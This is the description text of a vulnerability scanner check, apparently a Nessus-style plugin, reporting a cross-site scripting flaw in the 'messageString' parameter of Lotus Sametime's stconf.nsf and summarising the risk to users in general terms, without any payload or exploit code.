"The version of Lotus Sametime on the remote host contains a
cross-site scripting vulnerability because it fails to sanitize input
to the 'messageString' parameter of the 'stconf.nsf' script before
including it in a web page.

An attacker can leverage this issue by enticing a user to follow a
malicious URL, causing attacker-specified script code to run inside
the user's browser with the context of the affected site.  Information
harvested this way may aid in launching further attacks.

Versions of Lotus Sametime containing this vulnerability may also
contain another cross-site scripting vulnerability in stcenter.nsf,
but this script did not test for that."
